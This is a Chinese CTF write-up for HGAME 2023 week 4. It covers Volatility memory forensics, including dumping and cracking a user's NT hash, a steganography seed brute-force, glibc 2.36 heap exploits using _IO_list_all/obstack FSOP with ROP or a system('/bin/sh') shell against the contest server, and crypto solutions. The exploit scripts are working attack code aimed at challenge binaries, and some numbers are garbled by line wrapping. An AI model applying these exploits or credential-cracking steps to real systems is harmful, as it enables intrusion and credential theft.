5048    RuntimeBroker.  0x2bbed8033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
5780    smartscreen.ex  0x1bb20c71bc0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
6156    vmtoolsd.exe    0x2ced31c1cb0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
6260    OneDrive.exe    0x5271cb0       HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
6692    SearchProtocol  0x2d23d301bc0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
5380    HxTsr.exe       0x1e9c1203540   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
5964    backgroundTask  0x20d86a03500   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
```

```
6624    RuntimeBroker.  0x2a66d0033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
7304    RuntimeBroker.  0x277c84033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
7356    RuntimeBroker.  0x155d4a033d0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
7484    dllhost.exe     0x28033d0       HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
7540    notepad.exe     0x22f8e5f1cb0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
7584    7zFM.exe        0x189ecf61cb0   HGAME_FLAG
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
```

2、ezWin - auth

```
python vol.py  -f /mnt/d/ctf/ti/hgame2023/week4/misc-
ezWin/win10_22h2_19045.2486.vmem  windows.cmdline
```

发现个hint：flag2 is nthash of current user

```
7540    notepad.exe     "C:\Windows\system32\NOTEPAD.EXE"
C:\Users\Noname\Desktop\flag2 is nthash of current user.txt
```

获取nthash

```
python vol.py  -f /mnt/d/ctf/ti/hgame2023/week4/misc-
ezWin/win10_22h2_19045.2486.vmem  windows.hashdump.Hashdump
Volatility 3 Framework 2.4.0
Progress:  100.00               PDB scanning finished
User    rid     lmhash  nthash

Administrator   500     aad3b435b51404eeaad3b435b51404ee
31d6cfe0d16ae931b73c59d7e0c089c0

Guest   501     aad3b435b51404eeaad3b435b51404ee
31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee
31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee
     c4b2cf9cac4752fc9b030b8ebc6faac3
Noname  1000    aad3b435b51404eeaad3b435b51404ee
84b0d9c9f830238933e7131d60ac6436
```

3、ezWin - 7zip

查找文件：

```
python vol.py  -f /mnt/d/ctf/ti/hgame2023/week4/misc-
ezWin/win10_22h2_19045.2486.vmem windows.filescan | grep flag
0xd0064181c950.0\Users\Noname\Desktop\flag.7z   216
0xd00641b5ba70  \Users\Noname\Desktop\flag.7z   216
```

dump文件：

```
python vol.py  -f /mnt/d/ctf/ti/hgame2023/week4/misc-
ezWin/win10_22h2_19045.2486.vmem dumpfiles --virtaddr
0xd00641b5ba70
Volatility 3 Framework 2.4.0
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xd00641b5ba70  flag.7z Error dumping file
SharedCacheMap  0xd00641b5ba70  flag.7z
file.0xd00641b5ba70.0xd0064189aa20.SharedCacheMap.flag.7z.vacb
```

找到file.0xd00641b5ba70.0xd0064189aa20.SharedCacheMap.flag.7z.vacb 改名为：flag.7z

打开，有密码，文件名为：crack_nt_hash_for_7z_pwd.txt 又是个hint

用cmd5网站破解上题得到的nthash：84b0d9c9f830238933e7131d60ac6436

得到密码：asdqwe123

解压得到文件中的flag。

4、New_Type_Steganography

兔兔在拜年的路上,有个鬼鬼祟祟的蒙面饭卡给他偷偷塞了一张图片,兔兔一眼盯真,发现大有玄机

HINTS:

https://share.weiyun.com/VQgTKwPB

没有提示以前完全没头绪，不知道当时一血怎么出的。。

查看加密算法关键函数：

```
def encode(in_stream, data, seed):
    img_arr = np.array(Image.open(in_stream))
    np.random.seed(seed)
    data = bin(s2n(data))[2:].zfill(8 * len(data))
    width, height, _ = img_arr.shape
    if width * height < len(data):
        print("数据过大")
        return
    random_list = np.random.choice(width * height - 1, len(data),
replace=False)

    for pos, d in zip(random_list, data):
        if d == '0':
            img_arr[pos % width][pos // width][1] &= ~(1 << 2)
        else:
            img_arr[pos % width][pos // width][1] |= 1 << 2

    out_stream = BytesIO()
```

```
    im = Image.fromarray(img_arr)
    im.save(out_stream, format="png")
    im.save("out.png")
    return out_stream

encode("flag.png",flag,secret_seed)
```

参数中data也就是flag 未知，seed也就是secret_seed也未知。

根据d的不同，对每个像素点做了不同的运算，

```
for a in range(0b1000):
    print(bin(a),bin(a&~(1 << 2)),bin(a| (1 << 2)), bin(a&0b100))
#out:
0b0 0b0 0b100 0b0
0b1 0b1 0b101 0b0
0b10 0b10 0b110 0b0
0b11 0b11 0b111 0b0
0b100 0b0 0b100 0b100
0b101 0b1 0b101 0b100
0b110 0b10 0b110 0b100
0b111 0b11 0b111 0b100
```

逆向运算的话就是判断一下倒数第三位是否是1即可。

根据flag以hgame开头的特点，爆破secret_seed

```
from io import BytesIO
from libnum import n2s, s2n
import numpy as np
from PIL import Image
from Crypto.Util.number import long_to_bytes

def log(sss):
    f = open('log','a')
    f.write(sss+"\n")
    f.close()
    print(sss)

def decode(img_arr, datalen, seed):
    np.random.seed(seed)
```

```
    width, height, _ = img_arr.shape
    random_list = np.random.choice(width * height - 1, datalen*8,
replace=False)
    d=''
    for pos in random_list:
        arr=img_arr[pos % width][pos // width][1]
        if arr & 0b100 == 0b000:
            d+='0'
        else:
            d+='1'
    flag = long_to_bytes(int(d,2))
    ff = b'hgame'
    if datalen>5:
        datalen=5
    if flag[:datalen] == ff[:datalen]:
        log(flag.decode()+" "+str(seed))
        return 1
    return 0

img_arr = np.array(Image.open("flag.png"))
#爆破secret_seed
for secret_seed in range(2**32):
    if secret_seed %1000 == 0:
        log(str(secret_seed))
    ret = decode(img_arr,1,secret_seed)
    if ret == 1:
        ret2=decode(img_arr,5,secret_seed)
        if ret2 == 1:
            log(str(secret_seed)+'\nover!!!')
            exit(0)
#secret_seed is 1131796
decode(img_arr,40,1131796)
```

得到secret_seed 为 1131796

```
root@iZwl4l5l6kn7c5Z:~/misc-week4# tail log
1131000
h 1131056
h 1131181
h 1131234
h 1131435
h 1131769
h 1131796
hgame 1131796
1131796
over!!!
```

然后decode(img_arr,40,1131796) 得到flag

pwn

1、without_hook

1、2.36 + orw 上周的2.32+orw是使用freehook控制程序流， 2.36没接触过 不过既然题目写了没有hook那肯定是不能用了，但是还可以攻击IO

2、2.36调用setcontext+61 跟2.32一样 用的rdx，但是 却找不到了2.32 的那个

mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

只找到个类似的：

mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

但是rax我们控制不了啊 有没有其他的gadget。。。于是继续看看rax怎么来的。。。

```
pwndbg> disassemble 0x00007f82e19cccb6
Dump of assembler code for function __rpc_thread_key_cleanup:
   0x00007f82e19ccc90 <+0>:     endbr64
   0x00007f82e19ccc94 <+4>:     push   rbx
   0x00007f82e19ccc95 <+5>:     call   0x7f82e19cd770
<__rpc_thread_variables>
   0x00007f82e19ccc9a <+10>:    mov    rbx,QWORD PTR [rax+0xc8]
   0x00007f82e19ccca1 <+17>:    test   rbx,rbx
```

```
   0x00007f82e19ccca4 <+20>:    je     0x7f82e19cccd8
<__rpc_thread_key_cleanup+72>
   0x00007f82e19ccca6 <+22>:    mov    rdi,QWORD PTR [rbx]
   0x00007f82e19ccca9 <+25>:    test   rdi,rdi
   0x00007f82e19cccac <+28>:    je     0x7f82e19cccca
<__rpc_thread_key_cleanup+58>
   0x00007f82e19cccae <+30>:    mov    rax,QWORD PTR [rdi]
;[rdi]->rax
   0x00007f82e19cccb1 <+33>:    test   rax,rax
   0x00007f82e19cccb4 <+36>:    je     0x7f82e19cccc3
<__rpc_thread_key_cleanup+51>
   0x00007f82e19cccb6 <+38>:    mov    rdx,QWORD PTR [rax+0x38]
 ;[rax+0x38]->rdx
   0x00007f82e19cccba <+42>:    mov    rdi,rax
   0x00007f82e19cccbd <+45>:    call   QWORD PTR [rdx+0x20]
   0x00007f82e19cccc0 <+48>:    mov    rdi,QWORD PTR [rbx]
   0x00007f82e19cccc3 <+51>:    mov    rax,QWORD PTR [rdi+0x8]
   0x00007f82e19cccc7 <+55>:    call   QWORD PTR [rax+0x20]
   0x00007f82e19cccca <+58>:    mov    rdi,rbx
   0x00007f82e19ccccd <+61>:    pop    rbx
   0x00007f82e19cccce <+62>:    jmp    0x7f82e188e360 <free@plt>
   0x00007f82e19cccd3 <+67>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x00007f82e19cccd8 <+72>:    pop    rbx
   0x00007f82e19cccd9 <+73>:    ret
End of assembler dump.
```

于是可以利用0x00007f82e19cccae作为gadget

exp：

```
#encoding=utf-8
from pwn import *
import time
'''
libc 2.36
'''
context(os='linux',arch='amd64')
#context.log_level = 'debug'
#r = remote('week-4.hgame.lwsec.cn',30203)
context.binary = '/mnt/d/ctf/ti/hgame2023/week4/pwn-
without_hook/vuln'
```

```python
r = process(context.binary.path)
elf = context.binary

libc = elf.libc

def _add(idx, lenn,ddd='' ):
    r.sendlineafter(b">",b'1')
    r.sendlineafter(b"Index: ",str(idx).encode())
    r.sendlineafter(b"Size: ",str(lenn).encode())

def _remove(idx):
    r.sendlineafter(b">",b'2')
    r.sendlineafter(b"Index: ",str(idx).encode())

def _edit(idx, ddd):
    r.sendlineafter(b">",b'3')
    r.sendlineafter(b"Index: ",str(idx).encode())
    #r.sendlineafter(b"Content: ",ddd)
    r.sendafter(b"Content: ",ddd)

def _view(idx):
    r.sendlineafter(b">",b'4')
    r.sendlineafter(b"Index: ",str(idx).encode())

def leaklibc(main_arna_96):
    malloc_hook_s = libc.symbols['__malloc_hook']
    free_hook_s = libc.symbols['__free_hook']
    system_s = libc.sym['system']

    #malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) +
(malloc_hook_s & 0xFFF)
    libc_base = main_arna_96 - 0x1f6cc0
    free_hook_addr = libc_base + free_hook_s
    system_addr = libc_base + system_s
    print('libc_base:',hex(libc_base))
    print('free_hook_addr:',hex(free_hook_addr))
    print('system_addr:',hex(system_addr))
    return libc_base


_add(0,0x528) #大
_add(1,0x500)
```

```
_add(2,0x528)
_add(3,0x518)
_add(4,0x500)

#leak libc
_remove(0)
_view(0)

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))
libc.address = leaklibc(main_arna_96)
#leak heap
_remove(2)
_view(2)
heap_addr=u64(r.recv(6).ljust(8,b'\0'))
heap_base =  heap_addr& 0xFFFFFFFFFFFFF000

print('heap_addr:',hex(heap_addr))
print('heap_base:',hex(heap_base))

_add(0,0x528)
_add(2,0x528)
_remove(0)
# chunk1 to  large bin
_add(5,0x600)
_view(0)       # leak fd bk
fd_nextsize = u64(r.recv(6).ljust(8,b'\0'))
print('fd_nextsize:',hex(fd_nextsize))
print('libc.sym._IO_list_all:',hex(libc.sym._IO_list_all))
_edit(0,p64(fd_nextsize)*2 +p64(0) +p64(libc.sym._IO_list_all-
0x20))
#_edit(0,p64(fd_nextsize)*2 +p64(heap_addr) +p64(tcache_max_bins-
0x20))
_remove(3)
_add(6,0x600)
#_IO_list_all -> chunk3 header
#找不到2.31的gadget  只找到从rax到rdx的 但是 往上看 rax的值来源于rdi ok了
#0x0000000000160cae : mov rax,QWORD PTR [rdi] 。。。
#0x0000000000160cb6 : mov rdx, qword ptr [rax + 0x38] ; mov rdi,
rax ; call qword ptr [rdx + 0x20]
gadget = libc.address + 0x0000000000160cae
print('gadget:',hex(gadget))
```

```
#找个可以编辑的chunk 构造frame
fake_frame_addr = heap_base + 0x7d0  #id 1
print('fake_frame_addr:',hex(fake_frame_addr))

#ROPgadget --binary libc.so.6  --only 'pop|ret' | grep -E
"rsi|rdi|rdx"
pop_rdi_addr = libc.address + 0x0000000000023ba5         # pop rdi;
ret;
pop_rsi_addr = libc.address + 0x00000000000251fe         # pop rsi;
ret;
pop_rdx_x_addr = libc.address + 0x0000000000008bbb9    # pop rdx ;
pop rbx ; ret
ret_addr = pop_rdi_addr+1                      # ret

frame = SigreturnFrame()
frame.rax = 0

frame.rdi = fake_frame_addr + 0xF8 + 0x40
frame.rsp = fake_frame_addr + 0xF8 + 0x10 + 0x40
frame.rip = ret_addr # ret;
frame = bytes(frame).ljust(0xF8, b'\x00')
rop_data = [

    libc.sym.open,
    pop_rdx_x_addr,
    0x100,
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc.sym.read,
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc.sym.puts
]
#0x0000000000160cae : rax,QWORD PTR [rdi] 。。。
#0x0000000000160cb6 : mov rdx, qword ptr [rax + 0x38] ; mov rdi,
rax ; call qword ptr [rdx + 0x20]
# gdb.attach(r,f'b *{hex(gadget)}')
# time.sleep(4))
```

```
payload=flat(
    {
        0x00:fake_frame_addr,
        0x38:fake_frame_addr+0x40,
        0x40:{  #frame  前0x28
            0x20:libc.sym.setcontext + 61,
        },
    },
    filler = '\x00'
)+frame[0x28:]+ b"flag\x00\x00\x00\x00" + p64(0) +flat(rop_data)

_edit(1,payload)
obstack_jumps = 0x1f33a0 + libc.address       #p &_IO_obstack_jumps
print('obstack_jumps:',hex(obstack_jumps))
this_chunk_addr = 0x1200 + heap_base          # chunk3 header
_IO_list_all 指向地址。
print('this_chunk_addr:',hex(this_chunk_addr))

pd = flat(
    {
        0x18:1,
        0x20:0,
        0x28:1,
        0x30:0,
        #0x38:libc.sym.puts,
        0x38:gadget,
        0x48:fake_frame_addr,
        0x50:1,
        0xd8:obstack_jumps + 0x20,
        0xe0:this_chunk_addr,
    },
    filler = '\x00'
)
_edit(3,pd[0x10:])
r.sendlineafter(b">",b'5')

r.interactive()
```

2、4nswer's gift

答案哥想要给他的女朋友送礼物，但是不知道送什么，请你帮他想想送什么比较好（字数不限） 注：远程环境的内核版本为5.15

直接打IO就行了，上一题的后半部分，chunk地址可以通过malloc申请0x200000大小的相对libc固定地址的堆块计算获得。

```
#encoding=utf-8
from pwn import *
import time
'''
libc 2.36
'''
context(os='linux',arch='amd64')
#context.log_level = 'debug'
r = remote('week-4.hgame.lwsec.cn',30867)
context.binary = '/mnt/d/ctf/ti/hgame2023/week4/pwn-
4nswersgift/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc
r.recvuntil(b'0x')

_IO_list_all_addr = int(r.recv(12),16)
print('_IO_list_all_addr:',hex(_IO_list_all_addr))
libc.address = _IO_list_all_addr - libc.sym._IO_list_all
print('libc.address:',hex(libc.address))

obstack_jumps = 0x1f33a0 + libc.address    #p &_IO_obstack_jumps
print('obstack_jumps:',hex(obstack_jumps))

this_chunk_addr = libc.address  - 0x203ff0 # chunk3  _IO_list_all
指向地址。
print('this_chunk_addr:',hex(this_chunk_addr))

pd = flat(
    {
        0x18:1,
        0x20:0,
        0x28:1,
        0x30:0,
```

```
        0x38:libc.sym.system,
        0x48:libc.search(b'/bin/sh\x00').__next__(),
        0x50:1,
        0xd8:obstack_jumps + 0x20,
        0xe0:this_chunk_addr,
    },
    filler = '\x00'
)
# gdb.attach(r,'b *$rebase(0x128f)')
# time.sleep(4)
r.sendlineafter(b'How many things do you think is appropriate to
put into the gift?\n',str(0x200000).encode())
r.sendlineafter(b'What do you think is appropriate to put into the
gitf?\n',pd)

r.interactive()
```

Crypto

1、LLLCG

"我保留了大部分LCG的特征，但是也去除了一部分，这样才知道你们需要用到LLL"，"你是有意把它去除的吗"，"是出题的过程中我去除了一部分"，"是故意的还是不小心"，"是故意的"

题目：

```
from Crypto.Util.number import *
from random import randint
from sage.all import next_prime
from flag import flag

class LCG():
    def __init__(self) -> None:
        self.n = next_prime(2**360)
        self.a = bytes_to_long(flag)
        self.seed = randint(1, self.n-1)

    def next(self):
        self.seed = self.seed * self.a + randint(-2**340, 2**340) %
self.n
```

```
        return self.seed

lcg = LCG()

outputs = []
for i in range(40):
    outputs.append(lcg.next())

with open('output.txt', 'w') as f:
    f.write(str(outputs))
```

seed的加密过程：
seed0 = seed * a+ r0
seed1 = seed0 * a+ r1
seed2 = seed1 * a+ r2
...
seed39 = seed38 * a+ r39

到后面 seed39和seed38的值远大于n，也就是r39可以忽略

所以 a = (seed39 - r39) //seed38 ≈ seed39 // seed38

exp：

```
from Crypto.Util.number import long_to_bytes,bytes_to_long
f = open("output.txt",'rb')
d=f.read()
s=eval(d)
#s[39] = s[38] *a + r    #r可以忽略
a = s[39] // s[38]
print(long_to_bytes(a))
```

2、ECRSA

兔兔拜年时遇到了RSA，听说RSA还没有另一半于是把EC介绍给了他。

ECCRSA求phi，phi就是p,q的阶相乘

先求y

```
#from Crypto.Util.number import *
from collections.abc import Iterable

enc =
b'f\xb1\xae\xO8`\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\
x87\xde\xedF\x99\xeO\xf7\xdcH\x9ai\xO4[\x8b\xbbHR\xd6\xaO\xa2B\xOe\
xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\xOO\x90
7\xf3\xea'
#x=bytes_to_long(enc)
x=53785244370095188391121035814845215758011694049878373009599842145
42709038676856596473597472098329866932106236703753833875049687476896
6652097889558230201322

p=11519226595480231194139901959881072466943736943368090542567669166
1793518967453
q=10990087977434690873923613085422917106753359220082465212438993654
3716603840487
n =
12659731371633323406361071735480743870942884407511647144758055911931
32153433305772537789999393604607002828918244661576339174044607178731
818153462098556669611
a =
34573016245861396068378040882622992245754693028152290874131112955018
8884485688
b =
10328213713382094820668203656967156699638143825489751034428916403971
7355513886



def single_lift(f, df, p, k, rs):
    # f(r) = 0 (mod p^k)
    # df(r) != 0 (mod p^k)
    # returns s such that f(s) = 0 (mod p^(k+1))
    pk = p**k
    pk1 = pk * p
    for r in rs:
        assert f(r) % pk == 0, (r, k)
        # assert df(r) % (p ** k) != 0, (r,k)
        if df(r) % p != 0:
```

```
            a = inverse_mod(df(r), p)
            s = r - f(r) * a
            assert f(s) % pk1 == 0
            yield s
        else:
            for t in range(0, p):
                s = r + t * pk
                if f(s) % pk1 == 0:
                    yield s


def hensel_lift(f, df, p, k, m, rs):
    # f(r) = 0 (mod p^k)
    # df(r) != 0 (mod p^k)
    # returns s such that f(s) = 0 (mod p^m)
    if not isinstance(rs, Iterable):
        rs = [rs]
    assert m >= k
    if m == k:
        return rs
    return hensel_lift(f, df, p, k + 1, m, single_lift(f, df, p, k,
rs))


y2 = (x ^ 3 + a * x + b) % n
f = lambda x: x ^ 2 - y2
df = lambda x: 2 * x
for yp in hensel_lift(f, df, p, 1, 1, [ZZ(GF(p)(y2).sqrt())]):
    for yq in hensel_lift(f, df, q, 1, 1, [ZZ(GF(q)(y2).sqrt())]):
            y = crt([ZZ(yp), ZZ(yq)], [p , q ])
            EllipticCurve(Zmod(n), [a, b])(x, y)
            print(y)
```

```
from gmpy2 import *
p=11519226595480231194139901959881072466943736943368090542567669166
1793518967453
q=10990087977434690873923613085422917106753359220082465212438993654
3716603840487
```

```
n =
126597313716333234063610717354807438709428844075116471447580559119313215343330577253778999939360460700282891824466157633917404460717873181534620985566696 11
a =
345730162458613960683780408826229922457546930281522908741311129550188844856 88
b =
103282137133820948206682036569671566996381438254897510344289164039717355513886
e = 11415307674045871669
#enc =
b'f\xb1\xae\x08`\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\x87\xde\xedF\x99\xe0\xf7\xdcH\x9ai\x04[\x8b\xbbHR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\x00\x907\xf3\xea'
#x=bytes_to_long(enc)
x=537852443700951883911210358148452157580116940498783730095998421454270903867685659647359747209832986693210623670375383387504968747689665209788955823020 1322
y=101990653170341074574891029578808080790532490532703971520938845888196605799392954850858357535301357770254547038139516077709549391975973111574181244302987 22
print(x)
# ecm.factor(n)
E = EllipticCurve(Zmod(n), [a, b])
enc=E(x,y)
print('enc:',enc)
Ep = EllipticCurve(Zmod(p), [a, b])
Eq = EllipticCurve(Zmod(q), [a, b])

ordp = Ep.order()
ordq = Eq.order()
phi = ordp*ordq
print("phi:",phi)

d = inverse_mod(e,phi)
print("d:",d)
m = (enc*int(d))[0]
print("m:",m)
print(bytes.fromhex(hex(int(m))[2:]))
```